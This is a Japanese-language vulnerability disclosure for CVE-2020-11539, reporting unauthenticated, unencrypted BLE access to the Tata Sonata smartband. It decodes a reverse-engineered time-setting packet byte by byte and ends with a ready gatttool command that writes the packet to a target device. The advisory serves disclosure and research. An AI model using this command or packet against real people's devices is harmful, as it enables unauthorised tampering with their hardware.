
Tata Sonata Smartband における不適切なアクセス制御
説明: スマートバンドにはペアリングがなく(BLE セキュリティレベル モード 0)、無線で送信されるデータは暗号化されていないことが確認されています。さらに、スマートバンドに送信されるデータには認証や署名検証がないため、攻撃者なら誰でもスマートデバイスのパラメータを制御できてしまいます。
影響を受けるバージョン: Smart SF Rush - 1.12
研究者: Sayli Ambure (https://twitter.com/sayli_ambure)
MITRE CVE リンク: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11539
以下のパケットはリバースエンジニアリングされ、時刻を変更するためのものであることが判明しました。スマートフォンから hcisnoop ダンプを抽出することで、さらに多くのパケットをリバースエンジニアリングできます。
データ値: 00870e00141401060712052b051e
| データの16進ダンプ: | 00 | 87 | 0e | 00 | 14 | 14 | 01 | 06 | 07 | 12 | 05 | 2b | 05 | 1e |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| データの10進数: | 00 | 135 | 14 | 00 | 20 | 20 | 01 | 06 | 07 | 18 | 05 | 43 | 05 | 30 |
00 87: パケットのヘッダー
0e 00: パケットのタイプ
14 14: 年(16進数)(2020)
01 06: 月と日(1月6日)
07 12: 時と分(16進数)(午前 07:18)
05 : 秒
gatttool -t random -b <mac-address> --char-write-req -a 0xe -n 00870e00141401060712052b051e